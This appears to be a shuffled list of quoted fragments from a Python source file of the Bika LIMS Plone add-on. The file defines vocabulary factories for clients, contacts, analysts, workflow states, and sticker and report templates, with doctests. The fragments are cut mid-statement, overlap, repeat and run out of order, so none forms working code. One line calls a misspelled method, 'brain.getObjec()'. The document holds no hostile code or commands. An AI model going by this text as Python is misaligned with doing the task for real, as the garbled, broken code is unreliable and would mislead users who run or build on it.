"return SimpleVocabulary(items) ClientContactVocabularyFactory = ClientContactVocabulary() class AnalystVocabulary(UserVocabulary): def __init__(self): UserVocabulary.__init__(self, roles=['Analyst', ]) AnalystVocabularyFactory",
"in getARReportTemplates()] return SimpleVocabulary(out) def getStickerTemplates(): \"\"\" Returns an array with the sticker",
"contentFilter else self.contentFilter def __call__(self, **kwargs): site = getSite() request = aq_get(site, 'REQUEST',",
"self.key) value = getattr(brain, self.value) else: obj = brain.getObjec() key = obj[self.key] key",
"and without extension. As an example, for a template from the my.product add-on",
"Surname='One') >>> contact1.reindexObject() >>> source = util(portal) >>> source <zope.schema.vocabulary.SimpleVocabulary object at ...>",
"(_('Email'),'email'), (_('PDF'), 'pdf') ] for name, item in getAdapters((context, ), ICustomPubPref): items.append(item) return",
"the add-on identifier. template_title is the same name as the id, but with",
"\"\"\"Vocabulary factory for really user friendly portal types, filtered to return only types",
"'active'] if not objects: continue objects.sort(lambda x, y: cmp(x.Title().lower(), y.Title().lower())) xitems = [(t(item.Title()),",
"client1.processForm() >>> client1.invokeFactory('Contact', id='contact1') 'contact1' >>> contact1 = client1.contact1 >>> contact1.processForm() >>> contact1.edit(Firstname='Contact',",
"out = [SimpleTerm(x['id'], x['id'], x['title']) for x in getARReportTemplates()] return SimpleVocabulary(out) def getStickerTemplates():",
">>> pub.title, pub.token, pub.value (u'Published', 'published', 'published') \"\"\" implements(IVocabularyFactory) def __call__(self, context): portal",
"templates from the resources directory specified and available on each additional product (restype).",
"import DisplayList from Products.CMFCore.utils import getToolByName from zope.interface import implements from pkg_resources import",
"look like: {'id': 'my.product:EAN128_default_small.pt', 'title': 'my.product: EAN128 default small'} \"\"\" # Retrieve the",
"in brains: if self.key in brain and self.value in brain: key = getattr(brain,",
"not in self.contentFilter: self.contentFilter['cancellation_state'] = 'active' brains = catalog(self.contentFilter) items = [('', '')]",
"Retrieves the TAL templates saved in templates/stickers folder. Each array item is a",
"small'} \"\"\" # Retrieve the templates from bika.lims add-on resdirname = 'stickers' p",
"from the my.product add-on located in <restype> resource dir, and with a filename",
"tool.addMember('user1', 'user1', ... properties = { ... 'username': 'user1', ... 'email': '<EMAIL>', ...",
"the template_id and template_title include a prefix that matches with the add-on identifier.",
"<zope.schema.vocabulary.SimpleVocabulary object at ...> >>> 'test_user_1_' in source.by_value True >>> 'user1' in source.by_value",
"cmp(x.getFullname().lower(), y.getFullname().lower())) xitems = [(to_utf8(item.getFullname()), item.getFullname()) for item in objects] xitems = [SimpleTerm(i[1],",
"deactivation/cancellation workflow is anbled, # Be sure and select only active objects, unless",
"wftool.listWFStatesByTitle(filter_similar=True) items_dict = dict([(i[1], t(i[0])) for i in items]) items_list = [(k, v)",
"cmp(x[1], y[1])) terms = [SimpleTerm(k, title=u'%s' % v) for k, v in items_list]",
"<zope.schema.vocabulary.SimpleVocabulary object at ...> >>> pub = states.by_token['published'] >>> pub.title, pub.token, pub.value (u'Published',",
"['Manager',]) >>> portal.clients.invokeFactory('Client', id='client1') 'client1' >>> client1 = portal.clients.client1 >>> client1.processForm() >>> client1.invokeFactory('Contact',",
"portal_type = self.contentFilter['portal_type'] wf_ids = [x.id for x in wf.getWorkflowsFor(portal_type)] if 'bika_inactive_workflow' in",
"'bika.lims.vocabularies.ClientContacts' >>> util = queryUtility(IVocabularyFactory, name) >>> from plone.app.testing import TEST_USER_NAME >>> from",
"pub = states.by_token['published'] >>> pub.title, pub.token, pub.value (u'Published', 'published', 'published') \"\"\" implements(IVocabularyFactory) def",
"import glob class CatalogVocabulary(object): \"\"\"Make vocabulary from catalog query. \"\"\" implements(IDisplayListVocabulary) catalog =",
">>> folder = portal.bika_setup.bika_analysiscategories >>> objects = folder.objectValues() >>> len(objects) 3 >>> source",
"is anbled, # Be sure and select only active objects, unless other instructions",
"self.folders: folder = site.restrictedTraverse(folder) for portal_type in self.portal_types: objects = list(folder.objectValues(portal_type)) objects =",
"= {} key = 'UID' value = 'Title' def __init__(self, context, key=None, value=None,",
"templates from bika.lims add-on resdirname = 'stickers' p = os.path.join(\"browser\", \"templates\", resdirname) return",
"self.key in brain and self.value in brain: key = getattr(brain, self.key) value =",
"], ['SamplePoint', ]) SamplePointVocabularyFactory = SamplePointVocabulary() class SampleTypeVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_sampletypes', ],",
"'portal_workflow') if 'portal_type' in self.contentFilter: portal_type = self.contentFilter['portal_type'] wf_ids = [x.id for x",
"site.clients.objectValues('Client'): objects = list(client.objectValues('Contact')) objects.sort(lambda x, y: cmp(x.getFullname().lower(), y.getFullname().lower())) xitems = [(to_utf8(item.getFullname()), item.getFullname())",
"other add-ons for templates_resource in iterDirectoriesOfType(restype): prefix = templates_resource.__name__ if prefix == 'bika.lims':",
"states. >>> from zope.component import queryUtility >>> portal = layer['portal'] >>> name =",
"key = obj[self.key] key = callable(key) and key() or key value = obj[self.value]",
"self.contentFilter['portal_type'] wf_ids = [x.id for x in wf.getWorkflowsFor(portal_type)] if 'bika_inactive_workflow' in wf_ids \\",
"[folders, ] self.portal_types = isinstance(portal_types, (tuple, list)) and \\ portal_types or [portal_types, ]",
"items = [] wf = site.portal_workflow for folder in self.folders: folder = site.restrictedTraverse(folder)",
"], ['ARPriority', ]) def getTemplates(bikalims_path, restype): \"\"\" Returns an array with the Templates",
"queryUtility >>> portal = layer['portal'] >>> name = 'bika.lims.vocabularies.ClientContacts' >>> util = queryUtility(IVocabularyFactory,",
"' ') title = title.replace(':', ': ') out.append({'id': template, 'title': title}) return out",
"[(item.getProperty('fullname'), item.getId()) for item in users] items.sort(lambda x, y: cmp(x[0].lower(), y[0].lower())) items =",
"/plone/acl_users> >>> source = util(portal) >>> source <zope.schema.vocabulary.SimpleVocabulary object at ...> >>> 'test_user_1_'",
"with the sticker templates available. Retrieves the TAL templates saved in templates/stickers folder.",
"array with the sticker templates available. Retrieves the TAL templates saved in templates/stickers",
"bika.lims add-on resdirname = 'stickers' p = os.path.join(\"browser\", \"templates\", resdirname) return getTemplates(p, resdirname)",
"user friendly portal types, filtered to return only types listed as indexed by",
"Retrieve the templates from bika.lims add-on templates_dir = resource_filename(\"bika.lims\", bikalims_path) tempath = os.path.join(templates_dir,",
"dir, and with a filename \"My_cool_report.pt\", the dictionary will look like: {'id': 'my.product:My_cool_report.pt',",
"templates saved in templates/stickers folder. Each array item is a dictionary with the",
"because context may be an adapter request = aq_get(wftool, 'REQUEST', None) wf =",
"out.append({'id': template, 'title': title}) return out def getARReportTemplates(): \"\"\" Returns an array with",
"templates_resource.listDirectory() exts = ['{0}:{1}'.format(prefix, tpl) for tpl in dirlist if tpl.endswith('.pt')] templates.extend(exts) out",
"'portal_workflow', None) if wftool is None: return SimpleVocabulary([]) # XXX This is evil.",
"from each additional product. Each array item is a dictionary with the following",
"ClientContactVocabulary() class AnalystVocabulary(UserVocabulary): def __init__(self): UserVocabulary.__init__(self, roles=['Analyst', ]) AnalystVocabularyFactory = AnalystVocabulary() class AnalysisRequestWorkflowStateVocabulary(object):",
"and with a filename \"EAN128_default_small.pt\", the dictionary will look like: {'id': 'my.product:EAN128_default_small.pt', 'title':",
"xitems return SimpleVocabulary(items) ClientContactVocabularyFactory = ClientContactVocabulary() class AnalystVocabulary(UserVocabulary): def __init__(self): UserVocabulary.__init__(self, roles=['Analyst', ])",
"self.contentFilter.update(**kwargs) # If a secondary deactivation/cancellation workflow is anbled, # Be sure and",
"outside the bika.lims add-on, both the template_id and template_title include a prefix that",
"templates_dir = resource_filename(\"bika.lims\", bikalims_path) tempath = os.path.join(templates_dir, '*.pt') templates = [os.path.split(x)[-1] for x",
"self.contentFilter def __call__(self, **kwargs): site = getSite() request = aq_get(site, 'REQUEST', None) catalog",
"= getSite() wftool = getToolByName(portal, 'portal_workflow', None) if wftool is None: return SimpleVocabulary([])",
"\"EAN128_default_small.pt\", the dictionary will look like: {'id': 'my.product:EAN128_default_small.pt', 'title': 'my.product: EAN128 default small'}",
"class ClientContactVocabulary(object): \"\"\" Present Client Contacts >>> from zope.component import queryUtility >>> portal",
"'title': 'my.product: My cool report'} \"\"\" resdirname = 'reports' p = os.path.join(\"browser\", \"analysisrequest\",",
"from Acquisition import aq_get from bika.lims import bikaMessageFactory as _ from bika.lims.utils import",
"as indexed by bika_catalog \"\"\" implements(IVocabularyFactory) def __call__(self, context): translate = context.translate types",
"[(k, v) for k, v in items_dict.items()] items_list.sort(lambda x, y: cmp(x[1], y[1])) terms",
"is the same name as the id, but with whitespaces and without extension.",
">>> portal.clients.invokeFactory('Client', id='client1') 'client1' >>> client1 = portal.clients.client1 >>> client1.processForm() >>> client1.invokeFactory('Contact', id='contact1')",
"objects = folder.objectValues() >>> len(objects) 3 >>> source = util(portal) >>> source <zope.schema.vocabulary.SimpleVocabulary",
"\"\"\" implements(IVocabularyFactory) def __call__(self, context): translate = context.translate types = ( ('AnalysisRequest', translate(to_utf8(_('Analysis",
"True \"\"\" implements(IVocabularyFactory) def __init__(self, roles=[]): self.roles = roles if isinstance(roles, (tuple, list))",
"= [SimpleTerm(i[1], i[1], i[0]) for i in xitems] items += xitems return SimpleVocabulary(items)",
"import getToolByName from zope.interface import implements from pkg_resources import resource_filename from plone.resource.utils import",
"item in objects] xitems = [SimpleTerm(i[1], i[1], i[0]) for i in xitems] items",
"else: obj = brain.getObjec() key = obj[self.key] key = callable(key) and key() or",
"brain: key = getattr(brain, self.key) value = getattr(brain, self.value) else: obj = brain.getObjec()",
"['SampleType', ]) SampleTypeVocabularyFactory = SampleTypeVocabulary() class AnalysisServiceVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_analysisservices', ], ['AnalysisService',",
"\"\"\"Make vocabulary from catalog query. \"\"\" implements(IDisplayListVocabulary) catalog = 'portal_catalog' contentFilter = {}",
"class CustomPubPrefVocabulary(object): implements(IVocabularyFactory) def __call__(self, context): items = [ (_('Email'),'email'), (_('PDF'), 'pdf') ]",
"['{0}:{1}'.format(prefix, tpl) for tpl in dirlist if tpl.endswith('.pt')] templates.extend(exts) out = [] templates.sort()",
"value = callable(value) and value() or value items.append((key, t(value))) return DisplayList(items) class BikaContentVocabulary(object):",
"users = mtool.searchForMembers(roles=self.roles) items = [(item.getProperty('fullname'), item.getId()) for item in users] items.sort(lambda x,",
"None) if wftool is None: return SimpleVocabulary([]) # XXX This is evil. A",
"return SimpleVocabulary(out) ARReportTemplatesVocabularyFactory = ARReportTemplatesVocabulary() class CustomPubPrefVocabulary(object): implements(IVocabularyFactory) def __call__(self, context): items =",
"really user friendly portal types, filtered to return only types listed as indexed",
"add-on identifier. template_title is the same name as the id, but with whitespaces",
"ICustomPubPref from bika.lims.utils import to_utf8 from Products.Archetypes.public import DisplayList from Products.CMFCore.utils import getToolByName",
"AnalystVocabularyFactory = AnalystVocabulary() class AnalysisRequestWorkflowStateVocabulary(object): \"\"\"Vocabulary factory for workflow states. >>> from zope.component",
"= roles if isinstance(roles, (tuple, list)) else [roles, ] def __call__(self, context): site",
"for i in xitems] items += xitems return SimpleVocabulary(items) ClientContactVocabularyFactory = ClientContactVocabulary() class",
"template[:-3] title = title.replace('_', ' ') title = title.replace(':', ': ') out.append({'id': template,",
"in iterDirectoriesOfType(restype): prefix = templates_resource.__name__ if prefix == 'bika.lims': continue dirlist = templates_resource.listDirectory()",
"zope.component import getAdapters from zope.site.hooks import getSite import os import glob class CatalogVocabulary(object):",
"AnalystVocabulary(UserVocabulary): def __init__(self): UserVocabulary.__init__(self, roles=['Analyst', ]) AnalystVocabularyFactory = AnalystVocabulary() class AnalysisRequestWorkflowStateVocabulary(object): \"\"\"Vocabulary factory",
"wf.getInfoFor(o, 'inactive_state') == 'active'] if not objects: continue objects.sort(lambda x, y: cmp(x.Title().lower(), y.Title().lower()))",
"self.contentFilter = \\ contentFilter if contentFilter else self.contentFilter def __call__(self, **kwargs): site =",
"= portal.clients.client1 >>> client1.processForm() >>> client1.invokeFactory('Contact', id='contact1') 'contact1' >>> contact1 = client1.contact1 >>>",
"queryUtility(IVocabularyFactory, name) >>> folder = portal.bika_setup.bika_analysiscategories >>> objects = folder.objectValues() >>> len(objects) 3",
"implements(IVocabularyFactory) def __init__(self, roles=[]): self.roles = roles if isinstance(roles, (tuple, list)) else [roles,",
"Templates available in the Bika LIMS path specified plus the templates from the",
"from Products.Archetypes.public import DisplayList from Products.CMFCore.utils import getToolByName from zope.interface import implements from",
"'active' brains = catalog(self.contentFilter) items = [('', '')] if allow_blank else [] for",
"AnalysisRequestWorkflowStateVocabulary(object): \"\"\"Vocabulary factory for workflow states. >>> from zope.component import queryUtility >>> portal",
"= aq_get(site, 'REQUEST', None) catalog = getToolByName(site, self.catalog) if 'allow_blank' in kwargs: allow_blank",
"['bika_setup/bika_analysiscategories', ], ['AnalysisCategory', ]) AnalysisCategoryVocabularyFactory = AnalysisCategoryVocabulary() class AnalysisProfileVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_analysisprofiles',",
"template from the my.product add-on located in <restype> resource dir, and with a",
"available. Retrieves the TAL templates saved in templates/stickers folder. Each array item is",
"for x in glob.glob(tempath)] # Retrieve the templates from other add-ons for templates_resource",
"AnalysisProfileVocabularyFactory = AnalysisProfileVocabulary() class StorageLocationVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_storagelocations', ], ['StorageLocation', ]) StorageLocationVocabularyFactory",
">>> portal = layer['portal'] >>> name = 'bika.lims.vocabularies.AnalysisRequestWorkflowStates' >>> util = queryUtility(IVocabularyFactory, name)",
"the my.product add-on located in templates/reports dir, and with a filename \"My_cool_report.pt\", the",
"class StickerTemplatesVocabulary(object): \"\"\" Locate all sticker templates \"\"\" implements(IVocabularyFactory) def __call__(self, context): out",
"i in xitems] items += xitems return SimpleVocabulary(items) ClientContactVocabularyFactory = ClientContactVocabulary() class AnalystVocabulary(UserVocabulary):",
">>> 'Water Chemistry' in source.by_token True \"\"\" def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_analysiscategories', ], ['AnalysisCategory',",
") items = [SimpleTerm(i[0], i[0], i[1]) for i in types] return SimpleVocabulary(items) BikaCatalogTypesVocabularyFactory",
"A vocabulary shouldn't be request specific. # The sorting should go into a",
"aq_get(wftool, 'REQUEST', None) wf = wftool.getWorkflowById('bika_ar_workflow') items = wftool.listWFStatesByTitle(filter_similar=True) items_dict = dict([(i[1], t(i[0]))",
"None) catalog = getToolByName(site, self.catalog) if 'allow_blank' in kwargs: allow_blank = True del",
"items += xitems return SimpleVocabulary(items) class BikaCatalogTypesVocabulary(object): \"\"\"Vocabulary factory for really user friendly",
"instructions # are explicitly specified: wf = getToolByName(site, 'portal_workflow') if 'portal_type' in self.contentFilter:",
"from plone.app.testing import login >>> login(portal, TEST_USER_NAME) >>> setRoles(portal, TEST_USER_ID, ['Manager',]) >>> portal.clients.invokeFactory('Client',",
"templates \"\"\" implements(IVocabularyFactory) def __call__(self, context): out = [SimpleTerm(x['id'], x['id'], x['title']) for x",
"aq_get from bika.lims import bikaMessageFactory as _ from bika.lims.utils import t from bika.lims.interfaces",
"__init__(self, folders, portal_types): self.folders = isinstance(folders, (tuple, list)) and \\ folders or [folders,",
"__call__(self, context): portal = getSite() wftool = getToolByName(portal, 'portal_workflow', None) if wftool is",
"in objects if wf.getInfoFor(o, 'inactive_state') == 'active'] if not objects: continue objects.sort(lambda x,",
"located in templates/stickers, and with a filename \"EAN128_default_small.pt\", the dictionary will look like:",
"import SimpleTerm from zope.schema.vocabulary import SimpleVocabulary from zope.component import getAdapters from zope.site.hooks import",
"{'id': 'my.product:My_cool_report.pt', 'title': 'my.product: My cool report'} \"\"\" # Retrieve the templates from",
"] def __call__(self, context): site = getSite() request = aq_get(site, 'REQUEST', None) items",
"Contacts >>> from zope.component import queryUtility >>> portal = layer['portal'] >>> name =",
"'bika_cancellation_workflow' in wf_ids \\ and 'bika_inactive_workflow' not in self.contentFilter: self.contentFilter['cancellation_state'] = 'active' brains",
"Acquisition import aq_get from bika.lims import bikaMessageFactory as _ from bika.lims.utils import t",
">>> setRoles(portal, TEST_USER_ID, ['Manager',]) >>> portal.clients.invokeFactory('Client', id='client1') 'client1' >>> client1 = portal.clients.client1 >>>",
"['SamplePoint', ]) SamplePointVocabularyFactory = SamplePointVocabulary() class SampleTypeVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_sampletypes', ], ['SampleType',",
"folder. Each array item is a dictionary with the following structure: {'id': <template_id>,",
"aq_get(site, 'REQUEST', None) items = [] for client in site.clients.objectValues('Client'): objects = list(client.objectValues('Contact'))",
"translate(to_utf8(_('Analysis Request')))), ('Batch', translate(to_utf8(_('Batch')))), ('Sample', translate(to_utf8(_('Sample')))), ('ReferenceSample', translate(to_utf8(_('Reference Sample')))), ('Worksheet', translate(to_utf8(_('Worksheet')))) ) items",
"tpl.endswith('.pt')] templates.extend(exts) out = [] templates.sort() for template in templates: title = template[:-3]",
"objects. We find them by listing folder contents directly. \"\"\" implements(IVocabularyFactory) def __init__(self,",
"xitems = [SimpleTerm(i[1], i[1], i[0]) for i in xitems] items += xitems return",
"] self.portal_types = isinstance(portal_types, (tuple, list)) and \\ portal_types or [portal_types, ] def",
"StorageLocationVocabulary() class SamplePointVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_samplepoints', ], ['SamplePoint', ]) SamplePointVocabularyFactory = SamplePointVocabulary()",
"queryUtility(IVocabularyFactory, name) >>> tool = portal.portal_registration >>> tool.addMember('user1', 'user1', ... properties = {",
"t from bika.lims.interfaces import IDisplayListVocabulary, ICustomPubPref from bika.lims.utils import to_utf8 from Products.Archetypes.public import",
"= AnalysisServiceVocabulary() class ClientVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self, ['clients', ], ['Client', ]) ClientVocabularyFactory =",
"= wftool.getWorkflowById('bika_ar_workflow') items = wftool.listWFStatesByTitle(filter_similar=True) items_dict = dict([(i[1], t(i[0])) for i in items])",
"TEST_USER_NAME >>> from plone.app.testing import TEST_USER_ID >>> from plone.app.testing import setRoles >>> from",
"'*.pt') templates = [os.path.split(x)[-1] for x in glob.glob(tempath)] # Retrieve the templates from",
"DisplayList(items) class BikaContentVocabulary(object): \"\"\"Vocabulary factory for Bika Setup objects. We find them by",
"list)) and \\ folders or [folders, ] self.portal_types = isinstance(portal_types, (tuple, list)) and",
"]) AnalysisProfileVocabularyFactory = AnalysisProfileVocabulary() class StorageLocationVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_storagelocations', ], ['StorageLocation', ])",
"v in items_dict.items()] items_list.sort(lambda x, y: cmp(x[1], y[1])) terms = [SimpleTerm(k, title=u'%s' %",
"the templates from bika.lims add-on templates_dir = resource_filename(\"bika.lims\", bikalims_path) tempath = os.path.join(templates_dir, '*.pt')",
"class AnalysisRequestWorkflowStateVocabulary(object): \"\"\"Vocabulary factory for workflow states. >>> from zope.component import queryUtility >>>",
"items_list.sort(lambda x, y: cmp(x[1], y[1])) terms = [SimpleTerm(k, title=u'%s' % v) for k,",
"portal.clients.invokeFactory('Client', id='client1') 'client1' >>> client1 = portal.clients.client1 >>> client1.processForm() >>> client1.invokeFactory('Contact', id='contact1') 'contact1'",
"in source.by_value True \"\"\" implements(IVocabularyFactory) def __call__(self, context): site = getSite() request =",
"to return only types listed as indexed by bika_catalog \"\"\" implements(IVocabularyFactory) def __call__(self,",
"value=None, contentFilter=None): self.context = context self.key = key if key else self.key self.value",
"getTemplates(p, resdirname) class ARReportTemplatesVocabulary(object): \"\"\"Locate all ARReport templates to allow user to set",
"located in <restype> resource dir, and with a filename \"My_cool_report.pt\", the dictionary will",
"x in getStickerTemplates()] return SimpleVocabulary(out) ARReportTemplatesVocabularyFactory = ARReportTemplatesVocabulary() class CustomPubPrefVocabulary(object): implements(IVocabularyFactory) def __call__(self,",
"templates from bika.lims add-on templates_dir = resource_filename(\"bika.lims\", bikalims_path) tempath = os.path.join(templates_dir, '*.pt') templates",
"<template_title>} If the template lives outside the bika.lims add-on, both the template_id and",
"identifier. template_title is the same name as the id, but with whitespaces and",
"add-on resdirname = 'stickers' p = os.path.join(\"browser\", \"templates\", resdirname) return getTemplates(p, resdirname) class",
"roles=['Analyst', ]) AnalystVocabularyFactory = AnalystVocabulary() class AnalysisRequestWorkflowStateVocabulary(object): \"\"\"Vocabulary factory for workflow states. >>>",
"SampleTypeVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_sampletypes', ], ['SampleType', ]) SampleTypeVocabularyFactory = SampleTypeVocabulary() class AnalysisServiceVocabulary(BikaContentVocabulary):",
"iterDirectoriesOfType(restype): prefix = templates_resource.__name__ if prefix == 'bika.lims': continue dirlist = templates_resource.listDirectory() exts",
"separate widget. # we get REQUEST from wftool because context may be an",
"items] return SimpleVocabulary(items) UserVocabularyFactory = UserVocabulary() ClientVocabularyFactory = ClientVocabulary() class ClientContactVocabulary(object): \"\"\" Present",
"if prefix == 'bika.lims': continue dirlist = templates_resource.listDirectory() exts = ['{0}:{1}'.format(prefix, tpl) for",
"request = aq_get(wftool, 'REQUEST', None) wf = wftool.getWorkflowById('bika_ar_workflow') items = wftool.listWFStatesByTitle(filter_similar=True) items_dict =",
"by listing folder contents directly. \"\"\" implements(IVocabularyFactory) def __init__(self, folders, portal_types): self.folders =",
"catalog = 'portal_catalog' contentFilter = {} key = 'UID' value = 'Title' def",
"\"\"\" Present Client Contacts >>> from zope.component import queryUtility >>> portal = layer['portal']",
"wf_ids \\ and 'bika_inactive_workflow' not in self.contentFilter: self.contentFilter['cancellation_state'] = 'active' brains = catalog(self.contentFilter)",
"= os.path.join(templates_dir, '*.pt') templates = [os.path.split(x)[-1] for x in glob.glob(tempath)] # Retrieve the",
"ClientContactVocabulary(object): \"\"\" Present Client Contacts >>> from zope.component import queryUtility >>> portal =",
"= AnalysisCategoryVocabulary() class AnalysisProfileVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_analysisprofiles', ], ['AnalysisProfile', ]) AnalysisProfileVocabularyFactory =",
"evil. A vocabulary shouldn't be request specific. # The sorting should go into",
"['bika_setup/bika_arpriorities', ], ['ARPriority', ]) def getTemplates(bikalims_path, restype): \"\"\" Returns an array with the",
"[os.path.split(x)[-1] for x in glob.glob(tempath)] # Retrieve the templates from other add-ons for",
"The sorting should go into a separate widget. # we get REQUEST from",
"# Retrieve the templates from bika.lims add-on templates_dir = resource_filename(\"bika.lims\", bikalims_path) tempath =",
"AR Templates available in Bika LIMS plus the templates from the 'reports' resources",
"context): translate = context.translate types = ( ('AnalysisRequest', translate(to_utf8(_('Analysis Request')))), ('Batch', translate(to_utf8(_('Batch')))), ('Sample',",
"listing folder contents directly. \"\"\" implements(IVocabularyFactory) def __init__(self, folders, portal_types): self.folders = isinstance(folders,",
"workflow states. >>> from zope.component import queryUtility >>> portal = layer['portal'] >>> name",
"item in users] items.sort(lambda x, y: cmp(x[0].lower(), y[0].lower())) items = [SimpleTerm(i[1], i[1], i[0])",
"should go into a separate widget. # we get REQUEST from wftool because",
"the 'reports' resources directory type from each additional product. Each array item is",
"def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_samplepoints', ], ['SamplePoint', ]) SamplePointVocabularyFactory = SamplePointVocabulary() class SampleTypeVocabulary(BikaContentVocabulary): def",
"vocabulary from catalog query. \"\"\" implements(IDisplayListVocabulary) catalog = 'portal_catalog' contentFilter = {} key",
"plone.app.testing import login >>> login(portal, TEST_USER_NAME) >>> setRoles(portal, TEST_USER_ID, ['Manager',]) >>> from zope.component",
"= [SimpleTerm(x['id'], x['id'], x['title']) for x in getStickerTemplates()] return SimpleVocabulary(out) ARReportTemplatesVocabularyFactory = ARReportTemplatesVocabulary()",
"del (kwargs['allow_blank']) self.contentFilter.update(**kwargs) # If a secondary deactivation/cancellation workflow is anbled, # Be",
"like: {'id': 'my.product:My_cool_report.pt', 'title': 'my.product: My cool report'} \"\"\" # Retrieve the templates",
"= dict([(i[1], t(i[0])) for i in items]) items_list = [(k, v) for k,",
"Bika Setup objects. We find them by listing folder contents directly. \"\"\" implements(IVocabularyFactory)",
">>> name = 'bika.lims.vocabularies.AnalysisRequestWorkflowStates' >>> util = queryUtility(IVocabularyFactory, name) >>> tool = getToolByName(portal,",
"k, v in items_list] return SimpleVocabulary(terms) AnalysisRequestWorkflowStateVocabularyFactory = \\ AnalysisRequestWorkflowStateVocabulary() class ARPrioritiesVocabulary(BikaContentVocabulary): def",
"pub.title, pub.token, pub.value (u'Published', 'published', 'published') \"\"\" implements(IVocabularyFactory) def __call__(self, context): portal =",
"wftool.getWorkflowById('bika_ar_workflow') items = wftool.listWFStatesByTitle(filter_similar=True) items_dict = dict([(i[1], t(i[0])) for i in items]) items_list",
"[SimpleTerm(x['id'], x['id'], x['title']) for x in getStickerTemplates()] return SimpleVocabulary(out) ARReportTemplatesVocabularyFactory = ARReportTemplatesVocabulary() class",
">>> setRoles(portal, TEST_USER_ID, ['Manager',]) >>> from zope.component import queryUtility >>> name = 'bika.lims.vocabularies.AnalysisCategories'",
"x['title']) for x in getARReportTemplates()] return SimpleVocabulary(out) def getStickerTemplates(): \"\"\" Returns an array",
"from bika.lims.interfaces import IDisplayListVocabulary, ICustomPubPref from bika.lims.utils import to_utf8 from Products.Archetypes.public import DisplayList",
"'REQUEST', None) items = [] wf = site.portal_workflow for folder in self.folders: folder",
"whitespaces and without extension. As an example, for a template from the my.product",
"context): out = [SimpleTerm(x['id'], x['id'], x['title']) for x in getARReportTemplates()] return SimpleVocabulary(out) def",
"= 'active' brains = catalog(self.contentFilter) items = [('', '')] if allow_blank else []",
"This is evil. A vocabulary shouldn't be request specific. # The sorting should",
"layer['portal'] >>> from plone.app.testing import TEST_USER_NAME >>> from plone.app.testing import TEST_USER_ID >>> from",
"isinstance(roles, (tuple, list)) else [roles, ] def __call__(self, context): site = getSite() mtool",
"y: cmp(x.getFullname().lower(), y.getFullname().lower())) xitems = [(to_utf8(item.getFullname()), item.getFullname()) for item in objects] xitems =",
">>> name = 'bika.lims.vocabularies.AnalysisCategories' >>> util = queryUtility(IVocabularyFactory, name) >>> folder = portal.bika_setup.bika_analysiscategories",
"structure: {'id': <template_id>, 'title': <template_title>} If the template lives outside the bika.lims add-on,",
"the same name as the id, but with whitespaces and without extension. As",
"__init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_arpriorities', ], ['ARPriority', ]) def getTemplates(bikalims_path, restype): \"\"\" Returns an array",
"'bika_inactive_workflow' not in self.contentFilter: self.contentFilter['inactive_state'] = 'active' elif 'bika_cancellation_workflow' in wf_ids \\ and",
"templates/stickers, and with a filename \"EAN128_default_small.pt\", the dictionary will look like: {'id': 'my.product:EAN128_default_small.pt',",
"= aq_get(site, 'REQUEST', None) items = [] for client in site.clients.objectValues('Client'): objects =",
"getARReportTemplates()] return SimpleVocabulary(out) def getStickerTemplates(): \"\"\" Returns an array with the sticker templates",
"ClientVocabularyFactory = ClientVocabulary() class ClientContactVocabulary(object): \"\"\" Present Client Contacts >>> from zope.component import",
">>> source <zope.schema.vocabulary.SimpleVocabulary object at ...> >>> 'Water Chemistry' in source.by_token True \"\"\"",
"objects, unless other instructions # are explicitly specified: wf = getToolByName(site, 'portal_workflow') if",
"= [] templates.sort() for template in templates: title = template[:-3] title = title.replace('_',",
"source.by_value True \"\"\" implements(IVocabularyFactory) def __call__(self, context): site = getSite() request = aq_get(site,",
"from plone.app.testing import login >>> login(portal, TEST_USER_NAME) >>> setRoles(portal, TEST_USER_ID, ['Manager',]) >>> from",
"elif 'bika_cancellation_workflow' in wf_ids \\ and 'bika_inactive_workflow' not in self.contentFilter: self.contentFilter['cancellation_state'] = 'active'",
"else [roles, ] def __call__(self, context): site = getSite() mtool = getToolByName(site, 'portal_membership')",
"BikaCatalogTypesVocabularyFactory = BikaCatalogTypesVocabulary() class AnalysisCategoryVocabulary(BikaContentVocabulary): \"\"\"\" AnalysisCategories >>> portal = layer['portal'] >>> from",
"resdirname = 'reports' p = os.path.join(\"browser\", \"analysisrequest\", \"templates\", resdirname) return getTemplates(p, resdirname) class",
"If a secondary deactivation/cancellation workflow is anbled, # Be sure and select only",
"self.folders = isinstance(folders, (tuple, list)) and \\ folders or [folders, ] self.portal_types =",
"from the my.product add-on located in templates/reports dir, and with a filename \"My_cool_report.pt\",",
"getToolByName(portal, \"portal_workflow\") >>> states = util(portal) >>> states <zope.schema.vocabulary.SimpleVocabulary object at ...> >>>",
"context): site = getSite() request = aq_get(site, 'REQUEST', None) items = [] for",
"with the AR Templates available in Bika LIMS plus the templates from the",
"catalog query. \"\"\" implements(IDisplayListVocabulary) catalog = 'portal_catalog' contentFilter = {} key = 'UID'",
"for i in xitems] items += xitems return SimpleVocabulary(items) class BikaCatalogTypesVocabulary(object): \"\"\"Vocabulary factory",
"and key() or key value = obj[self.value] value = callable(value) and value() or",
"in the specified list of roles >>> from zope.component import queryUtility >>> portal",
"site.portal_workflow for folder in self.folders: folder = site.restrictedTraverse(folder) for portal_type in self.portal_types: objects",
">>> from plone.app.testing import login >>> login(portal, TEST_USER_NAME) >>> setRoles(portal, TEST_USER_ID, ['Manager',]) >>>",
">>> tool = portal.portal_registration >>> tool.addMember('user1', 'user1', ... properties = { ... 'username':",
"out def getARReportTemplates(): \"\"\" Returns an array with the AR Templates available in",
"and template_title include a prefix that matches with the add-on identifier. template_title is",
